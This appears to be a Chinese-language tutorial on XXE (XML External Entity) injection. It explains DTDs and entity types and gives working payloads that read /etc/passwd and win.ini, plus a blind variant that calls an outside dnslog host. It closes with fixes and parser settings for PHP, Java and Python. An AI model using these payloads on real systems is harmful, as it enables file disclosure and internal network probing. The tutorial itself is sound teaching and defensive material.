漏洞简介
XXE漏洞(全称XML External Entity Injection,即XML外部实体注入漏洞),XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、发起dos攻击等危害。
关于XML
XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,...),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,...),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
Copy XML 指可扩展标记语言(EXtensible Markup Language)。
XML 是一种很像HTML的标记语言。
XML 被设计用来传输和存储数据。(HTML被设计用来显示数据。)
XML 标签没有被预定义。需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准。
Copy XML可以自定义标签。
XML必须含有根元素。
XML必须按顺序闭合标签。
XML标签大小写敏感。
XML属性值须加引号。
内部引用语法:
<!DOCTYPE root-element [element-declarations]>
例子:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
解释:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部引用语法:
<!DOCTYPE root-element SYSTEM "filename">
例子:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
<!--note.dtd 文件内容 -->
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
==参数化外部引用==
参数实体:
参数实体只能在DTD中使用,参数是实体的声明格式:
<!ENTITY % 实体名 "实体内容">
引用方式:%实体名
DTD全称是The document type definition,即是文档类型定义, 可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
示例代码:
Copy <?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
示例代码:
Copy <message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的
示例代码:
Copy <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
示例代码:
Copy <creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。
实体分为两种,内部实体和外部实体 ,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
示例代码:
Copy <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人 )
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
Copy <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。
1.通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
示例代码:
Copy <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
2.参数实体:
(1)使用 % 实体名
(这里面空格不能少 ) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
示例代码:
Copy <!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
抛转:
参数实体在我们 Blind XXE 中起到了至关重要的作用
漏洞利用
通过手工篡改网站中xml实体中的头部,加入相关的读取文件或者是链接,或者是命令执行等,如file:///path/to/file.ext;http://url/file.ext;php://filter/read=convert.base64-encode/resource=conf.php,类似如下代码所示:
Copy <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE nsfocus-sec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
Copy <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///c:/test.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
有回显:
Copy <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
无回显:
Copy
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://d6ocgw.dnslog.cn">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
主机探测、端口扫描、内网盲注、文件上传
漏洞修复
1、严格检查用户输入的字符(过滤关键词)
Copy <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
不允许XML中含有自己定义的DTD
2、 使用开发语言提供的禁用外部实体的方法
Copy PHP:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: "Courier New" !important; font-size: 12px !important;">libxml_disable_entity_loader(true);</pre>
JAVA:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: "Courier New" !important; font-size: 12px !important;">DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);</pre>
Python:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: "Courier New" !important; font-size: 12px !important;">from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))</pre>
3、对格式字符进行转义处理,常见的格式字符如下表:
Copy 实体引用 特殊字符 含义
< ; < less than
> ; > greater than
& ; & ampersand
&apos ; ' apostrophe
" ; " quotation mark
参考链接:
https://www.jianshu.com/p/e56a2b8fde80
https://xz.aliyun.com/t/3357#toc-17